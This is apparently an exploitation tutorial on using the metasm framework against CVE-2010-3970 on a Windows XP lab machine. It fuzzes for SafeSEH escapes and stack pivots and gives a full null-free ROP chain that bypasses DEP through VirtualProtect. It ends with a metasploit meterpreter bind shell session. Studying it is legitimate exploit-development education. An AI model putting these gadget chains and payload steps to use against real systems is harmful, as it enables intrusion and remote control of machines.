How I Met Your Metasm.

0vercl0k aka Souchet Axel.
Email: 0vercl0k@tuxfamily.org
Twitter: @0vercl0k

Contents

Part I
Introduction

The **metasm** framework is a very powerful weapon that allows you to *disassemble*, *assemble*, *compile C on-the-fly* or to *debug* a binary (yeah you can do a **lot** of things). It is written in pure ruby by *Yoann Guillot* (special greets for his job if he reads me o/) since 2007 and the project is **very** active: check the latest commits!
The main purpose of this paper is to introduce you with my friend metasm and to show how metasm can be very useful in a "*real*" exploitation case. I don't know if you remember my latest article on the CVE-2010-3970 but I will use this vulnerability as an example. We will use metasm to create an exploit able to bypass *SafeSEH/DEP* thanks to the *msacm32.drv* module, and not *l3codeca.acm*. Why ? Only because l3codeca.acm was a very **simple** target, remember, we have successfully bypassed the SafeSEH with a simple "ADD ESP, 0x4A8 / RET".
As a consequence we will use the `@jduck1337`'s way: Using msacm32.drv module to build our exploit.
In this paper only few features of metasm will be used/presented, it is actually my firsts metasm-snippets, so if you want other documentations I suggest you : `metasm-docs`.
Anyway I hope you will enjoy, let's get started folks!

Part II
The bug

1 Presentation

The CVE-2010-3970 is a very common security hole that involves a classical *stack buffer-overflow*. Even if the exploitation seems to be trivial, there are two difficulties in this exploitation. The bug is triggered by the Windows' explorer which is protected by the DEP. Another detail: we can load only one module that isn't compatible with SafeSEH (if you have a sound card on your vm).
So we have to escape those mitigations: *SafeSEH* then the *DEP*. The first difficulty appears: you **can't** bypass the SafeSEH, in this case, with a basic pop/pop/ret sequence because it isn't possible to execute instructions that reside in the stack. You have to find a different way to control the EIP register (we will succeed in this point thanks to **metasm**).
The second difficulty is: when you control EIP you must find a special gadget able to **pivot** in your rop stack in order to bypass the DEP, and then executes your evil payload (again for this step we will use metasm). As I wrote earlier those two difficulties have been bypassed with only a basic gadget (in *l3codeca.acm* remember), but you can't actually find a simple "ADD ESP, X / RET" in the *msacm32.drv* (with X big enough to pivot in the data we control).
Regarding the environment, everything referred in this paper have been tested on a *Microsoft Windows XP SP2 x86* (*msacm32.drv* version 5.1.2600.0) virtual machine with this BOFMe. Basically this binary "emulates" the *CVE-2010-3970* vulnerability with a basic **strcpy()**.
NB: At the beginning of this program, we will load manually the msacm32.drv module ; we really want the same environment that our previous exploitation. Here the source code, (very classical actually isn't it ?):

```
#include <stdio.h>
#include <windows.h>

int main(int argc, char* argv[])
{
    unsigned char buff[512] = {0};

    LoadLibrary("msacm32.drv");

    __try
```

```
        {
            strcpy(buff, argv[1]);
        }
        __except(EXCEPTION_EXECUTE_HANDLER)
        {
            printf("exception!\n");
        }

        return EXIT_SUCCESS;
    }
```

Listing 1: BOFMe source

Ok now we have a bofme.exe protected by the DEP and SafeSEH, let's break it (do not forget to configure the DEP on the bofme!). But first of all, we need to find some relevant information, like the address of our buffer on the stack and the address of the SEH structure (structure that resides too in the stack):

1. 0x13FD58 - buffer address.
2. 0x13FF68 - SEH Structure (Pointer to next SEH Record + SE Handler).
3. We will need **532 bytes** ((0x13FF68+4) - (0x13FD58)).
4. Exploitation Plan:
   [**Shellcode** + Padding - 532b][**Escape SafeSEH**][Padding 300b (so as to raise an exception during the strcpy)]

Now we have all the materials required to start the exploitation process. To begin with, we want to find a solution to solve our first problem: find a **suitable** sequence of instructions in *msacm32.drv* to evade the SafeSEH mechanism.

Part III
The exploitation

2 Building Weapons with metasm

2.1 Trigger-fuzzing

The trigger-fuzzing is a perfect exercise to start with metasm: it permits you to learn ruby with a basic project and to apprehend the debugger feature of metasm. In a nutshell, the main idea of the *trigger-fuzzing* is to return on every byte of a special range and see if the execution leads to control EIP (for us, this range will be the .text section of msacm32.drv).
I have discovered this very cool tip when I read the @jduck1337's post on the metasploit blog. He tells us he used this technic to find instructions able to evade the SafeSEH.
After his research he found a pretty good sequence (*push esi / mov esi,[esp+0xc] / push [esi+0x54] / call [esi+0x5c]*) that allows him to control the execution flow of its target.
To find such a sequence, we need to code a small debugger that checks if the execution leads to control the EIP register: if it contains the metasploit pattern (for example), you found a sequence able to redirect the program in the **darkest corners** of its memory.

2.2 "Hi, this is metasm"

This is probably the most important part in this paper where you will find the metasm snippet I have used to defeat the SafeSEH and the DEP. Metasm has actually several classes available to create a little debugger. You instantiate a debugger with the method *create_debugger* (metasm/os/windows.rb or metasm/os/linux.rb) ; by the way you can use *Metasm::OS.current* to get the current os running, very useful if you want to design a portable script.
NB: *LinOS* and *WinOS* classes inherit *OS* class.

```
# return the platform-specific version
def self.current
    case RUBY_PLATFORM
        when /mswin|mingw|cygwin/i; WinOS
        when /linux/i; LinOS
```

```
    end
end
```

Listing 2: Metasm::OS.current source

Once you have called this method, you have a *Debugger* objet and more precisely a *Win/LinDebugger* instance. The *Debugger* class brings a lot of cool features, and you can use them very easily and that's very appreciable.

```
# create a thread/process breakpoint
# [...]
def add_bp(addr, info={})

# remove a breakpoint
def del_bp(b)

# activate an inactive breakpoint
def enable_bp(b)

# sets a hardware breakpoint
# mtype in :r :w :x
# mlen is the size of the memory zone to cover
# mlen may be constrained by the architecture
def hwbp(addr, mtype=:x, mlen=1, oneshot=false, cond=nil, &action)

# set a singleshot breakpoint, run the process, and wait
def go(target, cond=nil)

# accepts a range or begin/end address to read memory, or a register
    name
def [](arg0, arg1=nil)
```

Listing 3: Some Metasm::Debugger functions

In order to monitor the different events the debuggee/debugger raises you can define a lambda block to react. For example, when the function *strcpy* will try to copy the entire buffer in the stack an exception will be raised (because the memory it tries to access doesn't exist) ; our tiny-debugger must pass the exception to the debuggee in order to call the **SEH Handler**. Doing that is very simple, you just have to give a lambda block to the *callback_exception* attribute of the *Debugger* class. This block takes one argument containing the type of the exception, the exception address, etc. Here is an example:

```
{
:type=>"access violation",
```

```
 :st=>
  struct _EXCEPTION_RECORD x = {
        .ExceptionCode = 0xC0000005,    // +0
        .ExceptionFlags = 0,    // +4
        .ExceptionRecord = NULL,    // +8
        .ExceptionAddress = 0x7795C39D,    // +c
        .NumberParameters = 2,    // +10
        .ExceptionInformation = {
                [0] = 1,    // +14
                [1] = 0x190000,    // +18
                [2] = 0,    // +1c
                [3] = 0,    // +20
                [4] = 0,    // +24
                [5] = 0,    // +28
                [6] = 0,    // +2c
                [7] = 0,    // +30
                [8] = 0,    // +34
                [9] = 0,    // +38
                [10] = 0,    // +3c
                [11] = 0,    // +40
                [12] = 0,    // +44
                [13] = 0,    // +48
                [14] = 0,    // +4c
        },
};,
 :firstchance=>1,
 :fault_addr=>1638400,
 :fault_access=>:w
}
```

Listing 4: The argument passed to the lambda block

Keeping in mind these details, we can design our *weapon*: **trigger-fuzzing.rb**.

1. Instantiation of the *WinDebugger* class:

```
dbg = OS.current.create_debugger('safe_seh_test.exe "%s"' % arg)
```

Listing 5: Metasm::OS.current source

2. Add an exception probe to monitor the different faults:

```
dbg.callback_exception = lambda { |h| }
```

Listing 6: Metasm::OS.current source

3. Go to the entry point of the process:

```
dbg.go(ep)
```

Listing 7: Metasm::OS.current source

4. Now we know we are at the entry point, so the first fault must be passed to the application
5. If we have another access violation exception, we have the final fault address
6. If the final fault address can be found in the *metasploit pattern*: we are able to control EIP: we win.
7. Increment the address of the SEH Handler and loop until we have test all the bytes in the specific range

But a question remains: How can you retrieve the *entry point* of our BOFme ? To do that we will use the PE parser of metasm. You just have to call the *decode_file* method from *AutoExe* class. Well, this method finds which type of binary it is (based on the binary file format signature): Elf, Mach-o or PE ; in our case, it returns you a *PE* object.

```
register_signature(lambda {
    |raw| raw[0, 2] == "MZ" and off = raw[0x3c, 4].to_s.unpack('V')[0]
        and off < raw.length and raw[off, 4] == "PE\0\0"
})
{
    PE
}
```

Listing 8: The PE signature

Once you have this object, you can find any field of the classical PE structures: *optional_header.entrypoint* and *optional_header.image_base*.

```
# Retrieve the entrypoint
exe = AutoExe.decode_file('safe_seh_test.exe')
ep = exe.optheader.entrypoint + exe.optheader.image_base
```

Listing 9: How we will retrieve the entry point

I think we have now all we need to code our *trigger-fuzzing.rb*, by the way you will find mine at the end of the paper :).

3 EIP pwner

All right guys, now we have our trigger-fuzzing script, it's time to launch the research on the .text section of *msacm32.drv* (0x72C61000 → 0x72C6370F). If you want to test each byte of this range, it will takes some time: I suggest you to prepare a coffee. After few times (I have done a brute force on approximately 3000 bytes) here the results:

```
----------------
[*] It seems you are allowed to ret in 0x72c611c1, and you can totally
    control EIP (offset = 100)
----------------
[*] It seems you are allowed to ret in 0x72c61676, and you can totally
    control EIP (offset = 84)
----------------
[*] It seems you are allowed to ret in 0x72c61711, and you can totally
    control EIP (offset = 80)
----------------
[*] It seems you are allowed to ret in 0x72c61727, and you can totally
    control EIP (offset = 80)
```

Listing 10: Pivot or not Pivot ?

Quite unbelievable isn't it ? In less of one hour we found 4 different suitable sequences.
NB: The **@jduck1337** one is at 0x72c61676.

```
72C61676    PUSH ESI
72C61677    MOV ESI,DWORD PTR SS:[ESP+0C]
72C6167B    PUSH DWORD PTR DS:[ESI+54]
72C6167E    CALL DWORD PTR DS:[ESI+5C]
```

Listing 11: The @jduck1337's SafeSEH escape sequence.

But it is very surprising to see that sequence is maybe, the simplest (and the shortest too): take the 0x72c611c1 one for example (the sequence we have chosen for the exploitation)

```
72C611C0    PUSH ESI
72C611C1    PUSH EDI
72C611C2    MOV EDI,DWORD PTR SS:[ESP+10]
72C611C6    MOV EAX,DWORD PTR DS:[EDI]
72C611C8    CMP EAX,2
72C611CB    JE SHORT 72C611D6
72C611CD    PUSH 4
```

```
72C611CF    POP ECX
72C611D0    CMP EAX,ECX
72C611D2    JE SHORT 72C611D6
72C611D4    MOV DWORD PTR DS:[EDI],ECX
72C611D6    PUSH DWORD PTR SS:[ESP+14]
72C611DA    MOV ESI,DWORD PTR SS:[ESP+10]
72C611DE    PUSH EDI
72C611DF    PUSH DWORD PTR DS:[ESI+54]
72C611E2    CALL DWORD PTR DS:[ESI+6C]
```

Listing 12: A complex sequence that leads to control EIP register.

The thing I wanted to show you is just those types of sequences cannot be found by a human or a researcher (manually of course), I mean usually a ROP sequence is composed of 2 or 3 asm instructions. NB: Anyway if you like those funny sequences take a look at 0x72c61711 (it even calls several Windows API before controlling the EIP register:)).
Fun fact: During the brute force, I have found an infinite loop at *0x72c6132f* :D.

Ok, so now we have some interesting gadgets, it remains one last difficulty: finding a sequence able to pivot the stack in the data we control.

4 Stack Pivoting

This problem is actually very similar to the previous: we completely failed at manual research, but we really want to find another suitable sequence to pivot the stack. As I said previously, the *trigger-fuzzing* snippet is a very nice technic and I think we can modify it to find a stack-pivot. The idea is simple: when the final fault occurs we just check if the stack pointer is in the stack range we control. In my VM, the range we control is: *0x13FD58* to *0x13FFFC*. A simple modification of the previous script:

```
if dbg[:esp] >= 0x13FD58 and dbg[:esp] <= 0x13FFFC
    # We Win ? A potential stack-pivot is at start_addr!
end
```

Listing 13: A simple modification of the previous script.

After around of 2000 attempts, I found a suitable sequence at *0x72c6167f*:

```
72C6167F    PUSH ESI
72C61680    POP ESP
```

```
72C61681    XOR EBX,EBX
72C61683    CMP EAX,EBX
72C61685    JNE 72C6170B ;take the jump!

[...] ; A lot of instruction there !

72C6170B    POP ESI
72C6170C    POP EBX
72C6170D    RETN 4
```

Listing 14: Finally found a stack-pivot thanks to metasm.

Yeah, we have finally solved our issues thanks to basic metasm snippets! But now our last objective is to bypass DEP in order to execute an evil payload.

5 Few notes about the ROP-stack

Perfect, it is time to elaborate our rop stack: an occasion to test the pvefindaddr improvements with *mona.py*. Mona is able to generate a rop stack to bypass the DEP protection using the *PUSHAD* technique, and it appears that the automatic generation works pretty good (on this basic example at least). To launch the ROP-stack building process you have to call the *rop* option of mona.py:

```
VirtualProtect() 'pushad' rop chain
-----------------------------------

rop_gadgets = [
   0x77df5887,    # POP EAX # RETN (ADVAPI32.dll)
   0x77e511f4,    # <-ptr to ptr to VirtualProtect()
   0x77e67a08,    # MOV EAX,DWORD PTR DS:[EAX] # RETN (RPCRT4.dll)
   0x77ebfd57,    # PUSH EAX # DEC EAX # POP ESI # RETN (RPCRT4.dll)
   0x0040803c,    # POP EBP # RETN (safe_seh_test.exe)
   0x76ae3ae0,    # ptr to 'jmp esp' (from WINMM.dll)
   0x77e98604,    # POP EBX # RETN (RPCRT4.dll)
   0x00000201,    # <- change size to mark as executable if needed (->
       ebx)
   0x7c981980,    # POP ECX # RETN (ntdll.dll)
   0x77eda000,    # RW pointer (lpOldProtect) (-> ecx)
   0x77e8d787,    # POP EDI # RETN (RPCRT4.dll)
   0x77e8d788,    # ROP NOP (-> edi)
   0x7c947862,    # POP EDX # RETN (ntdll.dll)
   0x00000040,    # newProtect (0x40) (-> edx)
   0x77df5887,    # POP EAX # RETN (ADVAPI32.dll)
   0x90909090,    # NOPS (-> eax)
   0x7c93751b,    # PUSHAD # RETN (ntdll.dll)
].pack("V*")
```

Listing 15: Mona in action.

Now you have just to modify it a bit: we need a *null-free* rop chain. We have to modify the size we want to mark executable, because we can't inject null bytes. To avoid this problem, I've used a basic trick based on a "NEG reg32 / RET" gadget. I've done the same thing for the *flNewProtect* argument of *VirtualProtect* (and just played with the **page granularity** to enable the executable flag on the stack). Here my final rop stack:

```
rop_stack = [
  0x7c947862,    # pop edx / ret (ntdll.dll)
  0xBAADF4F4,    # stack-pivot ret4
  0xffffffc0,    # newProtect (~0x40)
  0x77BEBFE6,    # neg edx / pop esi / pop ebp / retn (msvcrt.dll)
```

```
  0xBAADF4F4,     # dummy
  0x76ae3ae0,     # ptr to 'jmp esp' (WINMM.dll)
  0x77df5887,     # pop eax / ret (ADVAPI32.dll)
  0x77e511f4,     # ptr to ptr to VirtualProtect()
  0x77e67a08,     # mov eax, [eax] / ret (RPCRT4.dll)
  0x77ebfd57,     # push eax / dec eax / pop esi / ret (RPCRT4.dll)
  0x77e98604,     # pop ebx / ret (RPCRT4.dll)
  0xffffffff,     # <- change size to mark as executable if needed (->
      ebx)
  0x77C29EA4,     # inc ebx / ret4 (msvcrt.dll)
  0x77C29EA4,     # inc ebx / ret4 (msvcrt.dll)
  0xBAADF4F4,     # dummy
  0x7c981980,     # pop ecx / ret (ntdll.dll)
  0xBAADF4F4,     # dummy
  0x77eda001,     # RW pointer (lpOldProtect) (-> ecx)
  0x77e8d787,     # pop edi / ret (RPCRT4.dll)
  0x77e8d788,     # ROP NOP (-> edi)
  0x77df5887,     # pop eax / retn (ADVAPI32.dll)
  0x90909090,     # NOPS (-> eax)
  0x7c93751b      # pushad / ret (ntdll.dll)
].pack("V*")
```

Listing 16: Final ROP-stack.

And now we use metasploit to have a *hype* bind tcp meterpreter shellcode! Anyway if you are more interested on the ROP part you will find my final exploit at the end of the paper.

```
overclok@theokoles:/tools/msf3$ ./msfconsole
[...]
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
smsf exploit(handler) > set lport 31337
lport => 31337
smsf exploit(handler) > set rhost 192.168.88.132
rhost => 192.168.88.132
msf exploit(handler) > exploit

[*] Started bind handler
[*] Starting the payload handler...
[*] Sending stage (749056 bytes) to 192.168.88.132
[*] Meterpreter session 1 opened (192.168.88.135:42509 ->
    192.168.88.132:31337) at Fri Jul 08 16:40:14 +0200 2011

meterpreter > sysinfo
```

```
System Language : fr_FR
OS              : Windows XP (Build 2600, Service Pack 2).
Computer        : 0VERCL0K-701FF5
Architecture    : x86
Meterpreter     : x86/win32
```

Listing 17: metasm give me five!

If you are not aware of the different features proposed by the meterpreter I suggest you to watch this video. This shellcode is really **fun**, I've actually discovered very fancies commands like the remote control of the webcam or the classical remote screenshot.. :))

Part IV
Conclusion

I'm done dudes, I hope you enjoyed this little paper and you will try to do things with metasm. My apologize for my approximate english :)). If you spot anything wrong in this paper, feel free to contact me via a comment or by email:

```
python -c 'print "MHZlcmNsMGsgPGF0PiB0dXhmYW1pbHkgPGRvdD4gb3Jn".decode(
    "base64")'
```

Listing 18: Email address mystified

I want to give a thanks to x86, WuZ, and Ivan for the relectures and the special one goes to sha for suggesting me this title.